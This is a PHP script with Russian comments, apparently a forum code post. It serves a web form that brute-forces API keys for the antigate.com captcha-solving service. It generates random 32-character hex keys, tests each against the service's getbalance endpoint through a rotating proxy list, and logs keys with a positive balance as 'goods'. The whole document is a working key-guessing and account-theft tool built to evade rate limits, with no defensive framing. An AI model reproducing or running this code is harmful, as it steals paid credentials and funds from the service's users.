Код:
<center><form method="POST">  

Количество попыток:<input name="count" type="text" value="10"><br>  

Файл для гудов:<input name="file" type="text" value="good.txt"><br>  

Файл с прокси:<input name="proxy" type="text" value="proxy.txt"><br>  

<input type="submit" value="check"><br>  

</form></center>  


<?php  

set_time_limit(0);  

function add($path,$page_body)  

{  

$file=fopen($path,"a+");  

fputs($file,$page_body);  

fclose($file);  

}  

function read($path)  

{  

$file=fopen($path,"r");  

$bufer = fread($file,filesize($path));  

fclose($file);  

return($bufer);  

}  

function curl($url,$proxy='')  

{  

global $cfile;  

$ch = curl_init();  

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);  

curl_setopt($ch, CURLOPT_URL, $url);  

curl_setopt($ch, CURLOPT_HEADER, 0);  

curl_setopt($ch, CURLOPT_PROXY, $proxy);  

curl_setopt($ch, CURLOPT_COOKIEJAR, $cfile);  

curl_setopt($ch, CURLOPT_COOKIEFILE, $cfile);  

curl_setopt($ch, CURLOPT_TIMEOUT,10);  

$result = curl_exec($ch);  

curl_close($ch);  

return $result;  

};  

function gentext($count)  

{  

$simbols = array("1","2","3","4","5","6","7","8","9","0","a","b","c","d","e","f");//символы из которых будет генерироваться кей  

for($i=0;$i<$count;$i++)  

{  

$text .= $simbols[mt_rand(0,count($simbols)-1)];  

}  

return($text);  

}  

$goodfile = $_POST['file'];//файл для гудов  

$count = $_POST['count'];//количество попыток для брута  

$proxyfile = $_POST['proxy'];  

if(!$goodfile||!$count||!$proxyfile)  

{  

echo 'Введите все даные';  

exit;  

}  

$proxys = explode("\r\n", read($proxyfile));  

$p=0;  

for($i=0;$i<$count;$i++)  

{ if($p>$countproxy)  

{  

$p=0;  

sort($proxys);  

}  

$proxy = $proxys[$p];  

$key = gentext(32);  

//$key = '';  

$result = curl("http://antigate.com/res.php?key=".$key."&action=getbalance", $proxy);  


if(preg_match_all("#^(.*[0-9])\.([0-9].*)$#iU", $result,$regs))  

{  

$balans = $regs[0][0];  

echo $key.' - good '.$proxy.' balans - '.$balans.'<br>';  

add($goodfile, $key.":".$balans."\r\n");  


}  

elseif(preg_match_all("#ERROR_(.*)#iU", $result,$regs))  

{  

echo $key." - bad ".$proxy."<br>";  

}  

else  

{  

echo 'bad proxy '.$proxy.'<br>';  

unset($proxys[$p]);  

}  

$p++;  

$countproxy = count($proxys)-1;  

if(count($proxys)==0)exit('Прокси живых не осталось');  

flush();  

}  
?>